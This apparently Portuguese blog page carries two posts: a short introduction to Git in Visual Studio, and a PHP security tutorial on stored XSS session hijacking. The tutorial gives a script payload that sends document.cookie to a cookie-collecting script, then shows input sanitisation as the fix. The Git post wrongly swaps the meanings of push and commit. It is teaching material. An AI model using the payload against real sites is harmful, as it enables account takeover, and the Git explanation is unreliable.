sábado, 24 de junho de 2017

Git com Visual Studio

Git é um sistema de controlo de versões (VCS) criado por Linus Torvalds em 2005. Com o Git é possível controlar as alterações que são feitas em cada ficheiro ao longo do tempo, permitindo também coordenar as alterações entre diferentes elementos de uma equipa.

É um sistema mais utilizado na produção de software, mas pode ser utilizador para manter um registo das alterações ocorridas em qualquer ficheiro.

Cada utilizador mantém um repositório dos ficheiros a controlar localmente, na sua máquina, e de cada vez que pretender registar as alterações executa um comando denominado de push.
As alterações locais podem, posteriormente, ser enviadas para um servidor, onde todas as alterações são registadas, esta operação é executada com o comando commit.

Sendo uma ferramenta originalmente desenvolvida para Linux todos os seus comandos são executados através da linha de comando. No entanto, estes comandos podem ser executados através de interfaces gráficas que simplificam a sua utilização.

O Visual Studio integra uma ferramenta que permite tirar partido deste sistema, independentemente do servidor escolhido para fazer o controlo das versões. É possível utilizar um serviço da própria Microsoft, o GitHub ou qualquer outro servidor que suporte os comandos Git, como por exemplo o BitBucket.

O Git pode ser integrado no projeto desde a sua criação no Visual Studio, para isso basta selecionar a opção Create new Git repository.

segunda-feira, 2 de janeiro de 2017

Segurança em páginas PHP - Parte 2

Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.

Primeiro o código da página é o seguinte:



Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.

Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.

Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:

<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>

O código PHP que vai capturar o cookie é o seguinte:



Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.

Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
(código retirado de www.w3schools.com)

Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.